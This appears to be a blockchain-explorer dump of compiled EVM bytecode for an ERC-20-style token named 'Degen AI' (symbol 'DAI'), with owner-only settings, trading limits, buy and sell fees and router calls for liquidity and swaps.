9250925092565b5f602082840312156142f4576142f36131c8565b5b5f6143018482850161427b565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b614396816131eb565b82525050565b5f6143a7838361438d565b60208301905092915050565b5f602082019050919050565b5f6143c982614364565b6143d3818561436e565b93506143de8361437e565b805f5b8381101561440e5781516143f5888261439c565b9750614400836143b3565b9250506001810190506143e1565b5085935050505092915050565b5f60a08201905061442e5f8301886132ca565b61443b602083018761420d565b818103604083015261444d81866143bf565b905061445c606083018561351f565b61446960808301846132ca565b969550505050505056fea2646970667358221220630583beb0a99101e7f07d15be5bff3835e6363cca2620d394b108b93ec475b764736f6c63430008170033

Deployed Bytecode

0x6080604052600436106101ba575f3560e01c80638a8c523c116100eb578063c3f70b5211610089578063e537a83411610063578063e537a834146105de578063e8078d9414610606578063f2fde38b14610610578063f8b45b0514610638576101c1565b8063c3f70b5214610562578063d46274061461058c578063dd62ed3e146105a2576101c1565b8063a5e992bb116100c5578063a5e992bb146104aa578063a9059cbb146104d4578063aacebbe314610510578063b3de9b5d14610538576101c1565b80638a8c523c146104405780638da5cb5b1461045657806395d89b4114610480576101c1565b8063313ce567116101585780634fcd2446116101325780634fcd24461461039c57806370a08231146103c4578063715018a61461040057806375f0a87414610416576101c1565b8063313ce56714610320578063368f48001461034a5780634706240214610372576101c1565b806318839bc31161019457806318839bc31461025557806323b872dd1461027d5780632b14ca56146102b957806330449efd146102e3576101c1565b806306fdde03146101c5578063095ea7b3146101ef57806318160ddd1461022b576101c1565b366101c157005b5f80fd5b3480156101d0575f80fd5b506101d9610662565b6040516101e691906131a8565b60405180910390f35b3480156101fa575f80fd5b5061021560048036038101906102109190613259565b61069f565b60405161022291906132b1565b60405180910390f35b348015610236575f80fd5b5061023f61078c565b60405161024c91906132d9565b60405180910390f35b348015610260575f80fd5b5061027b6004803603810190610276919061331c565b6107b0565b005b348015610288575f80fd5b506102a3600480360381019061029e919061336c565b610983565b6040516102b091906132b1565b60405180910390f35b3480156102c4575f80fd5b506102cd610a6e565b6040516102da91906133d7565b60405180910390f35b3480156102ee575f80fd5b50610309600480360381019061030491906133f0565b610a83565b60405161031792919061341b565b60405180910390f35b34801561032b575f80fd5b50610334610b22565b60405161034191906133d7565b60405180910390f35b348015610355575f80fd5b50610370600480360381019061036b9190613479565b610b2a565b005b34801561037d575f80fd5b50610386610ce7565b60405161039391906133d7565b60405180910390f35b3480156103a7575f80fd5b506103c260048036038101906103bd91906134e1565b610cfd565b005b3480156103cf575f80fd5b506103ea60048036038101906103e591906133f0565b610e15565b6040516103f791906132d9565b60405180910390f35b34801561040b575f80fd5b50610414610e5b565b005b348015610421575f80fd5b5061042a610f60565b604051610437919061352e565b60405180910390f35b34801561044b575f80fd5b50610454610f88565b005b348015610461575f80fd5b5061046a61106e565b604051610477919061352e565b60405180910390f35b34801561048b575f80fd5b50610494611095565b6040516104a191906131a8565b60405180910390f35b3480156104b5575f80fd5b506104be6110d2565b6040516104cb91906132d9565b60405180910390f35b3480156104df575f80fd5b506104fa60048036038101906104f59190613259565b6110db565b60405161050791906132b1565b60405180910390f35b34801561051b575f80fd5b50610536600480360381019061053191906133f0565b611137565b005b348015610543575f80fd5b5061054c61133b565b60405161055991906132d9565b60405180910390f35b34801561056d575f80fd5b50610576611344565b60405161058391906132d9565b60405180910390f35b348015610597575f80fd5b506105a061134d565b005b3480156105ad575f80fd5b506105c860048036038101906105c39190613547565b61144c565b6040516105d591906132d9565b60405180910390f35b3480156105e9575f80fd5b5061060460048036038101906105ff91906135be565b6114ce565b005b61060e61165d565b005b34801561061b575f80fd5b5061063660048036038101906106319190613670565b611a78565b005b348015610643575f80fd5b5061064c611b7e565b60405161065991906132d9565b60405180910390f35b60606040518060400160405280600881526020017f446567656e204149000000000000000000000000000000000000000000000000815250905090565b5f81600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161077a91906132d9565b60405180910390a36001905092915050565b5f6009600a61079b91906137f7565b64174876e8006107ab9190613841565b905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461083d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610834906138cc565b60405180910390fd5b80806108465750815b156108d65760135f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156108d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108cc90613934565b60405180910390fd5b5b81600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505050565b5f61098d84611b87565b6109cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c39061399c565b60405180910390fd5b81600c5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610a5391906139ba565b92505081905550610a65848484611c59565b90509392505050565b5f60035f9054906101000a900460ff16905090565b5f80600e5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1691509150915091565b5f6009905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610bb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bae906138cc565b60405180910390fd5b5f60016103e88461ffff166009600a610bd091906137f7565b64174876e800610be09190613841565b610bea9190613841565b610bf49190613a1a565b610bfe9190613a4a565b9050600554811015610c45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3c90613ac7565b60405180910390fd5b806005819055505f60016103e88461ffff166009600a610c6591906137f7565b64174876e800610c759190613841565b610c7f9190613841565b610c899190613a1a565b610c939190613a4a565b9050600654811015610cda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd190613b2f565b60405180910390fd5b8060068190555050505050565b5f600360019054906101000a900460ff16905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d81906138cc565b60405180910390fd5b60028183610d989190613b4d565b60ff161115610ddc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd390613bcb565b60405180910390fd5b81600360016101000a81548160ff021916908360ff1602179055508060035f6101000a81548160ff021916908360ff1602179055505050565b5f600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ee8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610edf906138cc565b60405180910390fd5b5f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861635f604051610f56919061352e565b60405180910390a1565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611015576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100c906138cc565b60405180910390fd5b60145f9054906101000a900460ff1615611064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105b90613c33565b60405180910390fd5b61106c61232b565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4441490000000000000000000000000000000000000000000000000000000000815250905090565b5f600854905090565b5f6110e533611b87565b611124576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111b9061399c565b60405180910390fd5b61112f338484611c59565b905092915050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bb906138cc565b60405180910390fd5b60135f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561124e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124590613c9b565b60405180910390fd5b8060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600e5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f600754905090565b5f600554905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d1906138cc565b60405180910390fd5b6009600a6113e891906137f7565b64174876e8006113f89190613841565b6005819055506009600a61140c91906137f7565b64174876e80061141c9190613841565b600681905550600160145f6101000a81548160ff0219169083151502179055504360048190555043600281905550565b5f600c5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461155b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611552906138cc565b60405180910390fd5b8363ffffffff168563ffffffff166009600a61157791906137f7565b64174876e8006115879190613841565b6115919190613841565b61159b9190613a1a565b6007819055508163ffffffff168363ffffffff166009600a6115bd91906137f7565b64174876e8006115cd9190613841565b6115d79190613841565b6115e19190613a1a565b60088190555066038d7ea4c680008163ffffffff166116009190613ccb565b66ffffffffffffff166009819055506007546008541015611656576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164d90613d51565b60405180910390fd5b5050505050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e1906138cc565b60405180910390fd5b6001601460016101000a81548160ff0219169083151502179055505f73ffffffffffffffffffffffffffffffffffffffff1660125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611794576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178b90613db9565b60405180910390fd5b60145f9054906101000a900460ff16156117e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117da90613c33565b60405180910390fd5b5f3411806117f057505f47115b61182f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182690613e21565b60405180910390fd5b5f600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054116118ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a590613e89565b60405180910390fd5b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611918573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061193c9190613ebb565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396307f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26040518363ffffffff1660e01b8152600401611996929190613ee6565b6020604051808303815f875af11580156119b2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906119d69190613ebb565b60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611a5c600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20544761267c565b5f601460016101000a81548160ff021916908315150217905550565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611b05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afc906138cc565b60405180910390fd5b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051611b739190613f68565b60405180910390a150565b5f600654905090565b5f805f905060145f9054906101000a900460ff1615611ba95760019050611c50565b600e5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611c455750600f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15611c4f57600190505b5b80915050919050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611cc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cbf90613fcb565b60405180910390fd5b60145f9054906101000a900460ff16611db757600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611d775750600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611db6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dad90614033565b60405180910390fd5b5b601460019054906101000a900460ff16158015611e1a575060135f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611e2b5750611e2a82612753565b5b15611e3957611e386128bb565b5b60045443106120cf5760025443108015611e99575060135f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15611f0d573273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f039061409b565b60405180910390fd5b5b610258600254611f1d9190613a4a565b43108015611f71575060135f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611fa957503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156120ce576001600d5f4381526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282829054906101000a900460ff166120169190613b4d565b92506101000a81548160ff021916908360ff1602179055506002600d5f4381526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1660ff1611156120cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c49061409b565b60405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561213757503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561218e57505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121de5761219e8484846129dd565b6121dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d490614103565b60405180910390fd5b5b5f6121ea858585612b65565b90505f81846121f991906139ba565b905083600b5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461224791906139ba565b9250508190555081600a5f82825461225f9190613a4a565b9250508190555080600b5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546122b29190613a4a565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161231691906132d9565b60405180910390a36001925050509392505050565b60646009600a61233b91906137f7565b64174876e80061234b9190613841565b60026123579190613841565b6123619190613a1a565b60058190555060646009600a61237791906137f7565b64174876e8006123879190613841565b60026123939190613841565b61239d9190613a1a565b600681905550600a54600b5f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461241291906139ba565b9250508190555060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527ffff6cae9000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516124e19190614165565b5f604051808303815f865af19150503d805f811461251a576040519150601f19603f3d011682016040523d82523d5f602084013e61251f565b606091505b505060135f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8291906101000a81548160ff0219169083151502179055505060135f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16612643576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161263a906141c5565b60405180910390fd5b4360048190555060045460025461265a9190613a4a565b600281905550600160145f6101000a81548160ff021916908315150217905550565b61268582612d2e565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230855f8060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161270b9695949392919061421c565b60606040518083038185885af1158015612727573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061274c919061428f565b5050505050565b5f805f60095411156128ad575f600b5f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505f7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff166370a0823160125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040161283c919061352e565b602060405180830381865afa158015612857573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061287b91906142df565b90505f82828761288b9190613841565b6128959190613a1a565b905060095481106128a557600193505b5050506128b2565b600190505b80915050919050565b6001601460016101000a81548160ff0219169083151502179055505f600a54905060075481101580156128f9575060145f9054906101000a900460ff165b156129c057600854811061290d5760085490505b5f8190506009600a61291f91906137f7565b600161292b9190613841565b8111156129a75781600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461297e9190613a4a565b9250508190555061298e81612f10565b81600a5f82825461299f91906139ba565b925050819055505b5f4790505f8111156129bd576129bc816130b6565b5b50505b505f601460016101000a81548160ff021916908315150217905550565b5f806001905060145f9054906101000a900460ff168015612a455750600f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015612a985750600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15612b5a57600554831115612aaf575f9050612b59565b60135f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015612b4f575060065483600b5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612b4d9190613a4a565b115b15612b58575f90505b5b5b809150509392505050565b5f8060145f9054906101000a900460ff161580612bc85750600e5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80612c195750600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15612c26575f9050612d23565b60135f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612ca6576064600360019054906101000a900460ff1660ff1684612c959190613841565b612c9f9190613a1a565b9050612d22565b60135f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612d2157606460035f9054906101000a900460ff1660ff1684612d149190613841565b612d1e9190613a1a565b90505b5b5b809150509392505050565b80600c5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015612f0d577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600c5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff604051612f0491906132d9565b60405180910390a35b50565b612f1981612d2e565b5f600267ffffffffffffffff811115612f3557612f3461430a565b5b604051908082528060200260200182016040528015612f635781602001602082028036833780820191505090505b50905030815f81518110612f7a57612f79614337565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281600181518110612fe957612fe8614337565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b815260040161308595949392919061441b565b5f604051808303815f87803b15801561309c575f80fd5b505af11580156130ae573d5f803e3d5ffd5b505050505050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f1935050505015801561311a573d5f803e3d5ffd5b5050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561315557808201518184015260208101905061313a565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61317a8261311e565b6131848185613128565b9350613194818560208601613138565b61319d81613160565b840191505092915050565b5f6020820190508181035f8301526131c08184613170565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6131f5826131cc565b9050919050565b613205816131eb565b811461320f575f80fd5b50565b5f81359050613220816131fc565b92915050565b5f819050919050565b61323881613226565b8114613242575f80fd5b50565b5f813590506132538161322f565b92915050565b5f806040838503121561326f5761326e6131c8565b5b5f61327c85828601613212565b925050602061328d85828601613245565b9150509250929050565b5f8115159050919050565b6132ab81613297565b82525050565b5f6020820190506132c45f8301846132a2565b92915050565b6132d381613226565b82525050565b5f6020820190506132ec5f8301846132ca565b92915050565b6132fb81613297565b8114613305575f80fd5b50565b5f81359050613316816132f2565b92915050565b5f805f60608486031215613333576133326131c8565b5b5f61334086828701613212565b935050602061335186828701613308565b925050604061336286828701613308565b9150509250925092565b5f805f60608486031215613383576133826131c8565b5b5f61339086828701613212565b93505060206133a186828701613212565b92505060406133b286828701613245565b9150509250925092565b5f60ff82169050919050565b6133d1816133bc565b82525050565b5f6020820190506133ea5f8301846133c8565b92915050565b5f60208284031215613405576134046131c8565b5b5f61341284828501613212565b91505092915050565b5f60408201905061342e5f8301856132a2565b61343b60208301846132a2565b9392505050565b5f61ffff82169050919050565b61345881613442565b8114613462575f80fd5b50565b5f813590506134738161344f565b92915050565b5f806040838503121561348f5761348e6131c8565b5b5f61349c85828601613465565b92505060206134ad85828601613465565b9150509250929050565b6134c0816133bc565b81146134ca575f80fd5b50565b5f813590506134db816134b7565b92915050565b5f80604083850312156134f7576134f66131c8565b5b5f613504858286016134cd565b9250506020613515858286016134cd565b9150509250929050565b613528816131eb565b82525050565b5f6020820190506135415f83018461351f565b92915050565b5f806040838503121561355d5761355c6131c8565b5b5f61356a85828601613212565b925050602061357b85828601613212565b9150509250929050565b5f63ffffffff82169050919050565b61359d81613585565b81146135a7575f80fd5b50565b5f813590506135b881613594565b92915050565b5f805f805f60a086880312156135d7576135d66131c8565b5b5f6135e4888289016135aa565b95505060206135f5888289016135aa565b9450506040613606888289016135aa565b9350506060613617888289016135aa565b9250506080613628888289016135aa565b9150509295509295909350565b5f61363f826131cc565b9050919050565b61364f81613635565b8114613659575f80fd5b50565b5f8135905061366a81613646565b92915050565b5f60208284031215613685576136846131c8565b5b5f6136928482850161365c565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561371d578086048111156136f9576136f861369b565b5b60018516156137085780820291505b8081029050613716856136c8565b94506136dd565b94509492505050565b5f8261373557600190506137f0565b81613742575f90506137f0565b8160018114613758576002811461376257613791565b60019150506137f0565b60ff8411156137745761377361369b565b5b8360020a91508482111561378b5761378a61369b565b5b506137f0565b5060208310610133831016604e8410600b84101617156137c65782820a9050838111156137c1576137c061369b565b5b6137f0565b6137d384848460016136d4565b925090508184048111156137ea576137e961369b565b5b81810290505b9392505050565b5f61380182613226565b915061380c836133bc565b92506138397fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613726565b905092915050565b5f61384b82613226565b915061385683613226565b925082820261386481613226565b9150828204841483151761387b5761387a61369b565b5b5092915050565b7f4f6e6c79206f776e65722063616e2063616c6c207468697300000000000000005f82015250565b5f6138b6601883613128565b91506138c182613882565b602082019050919050565b5f6020820190508181035f8301526138e3816138aa565b9050919050565b7f43616e6e6f74206578656d7074204c50000000000000000000000000000000005f82015250565b5f61391e601083613128565b9150613929826138ea565b602082019050919050565b5f6020820190508181035f83015261394b81613912565b9050919050565b7f54726164696e67206e6f74206f70656e000000000000000000000000000000005f82015250565b5f613986601083613128565b915061399182613952565b602082019050919050565b5f6020820190508181035f8301526139b38161397a565b9050919050565b5f6139c482613226565b91506139cf83613226565b92508282039050818111156139e7576139e661369b565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613a2482613226565b9150613a2f83613226565b925082613a3f57613a3e6139ed565b5b828204905092915050565b5f613a5482613226565b9150613a5f83613226565b9250828201905080821115613a7757613a7661369b565b5b92915050565b7f747820746f6f206c6f77000000000000000000000000000000000000000000005f82015250565b5f613ab1600a83613128565b9150613abc82613a7d565b602082019050919050565b5f6020820190508181035f830152613ade81613aa5565b9050919050565b7f77616c6c657420746f6f206c6f770000000000000000000000000000000000005f82015250565b5f613b19600e83613128565b9150613b2482613ae5565b602082019050919050565b5f6020820190508181035f830152613b4681613b0d565b9050919050565b5f613b57826133bc565b9150613b62836133bc565b9250828201905060ff811115613b7b57613b7a61369b565b5b92915050565b7f526f756e647472697020746f6f206869676800000000000000000000000000005f82015250565b5f613bb5601283613128565b9150613bc082613b81565b602082019050919050565b5f6020820190508181035f830152613be281613ba9565b9050919050565b7f74726164696e67206f70656e00000000000000000000000000000000000000005f82015250565b5f613c1d600c83613128565b9150613c2882613be9565b602082019050919050565b5f6020820190508181035f830152613c4a81613c11565b9050919050565b7f4c502063616e6e6f74206265207461782077616c6c65740000000000000000005f82015250565b5f613c85601783613128565b9150613c9082613c51565b602082019050919050565b5f6020820190508181035f830152613cb281613c79565b9050919050565b5f66ffffffffffffff82169050919050565b5f613cd582613cb9565b9150613ce083613cb9565b9250828202613cee81613cb9565b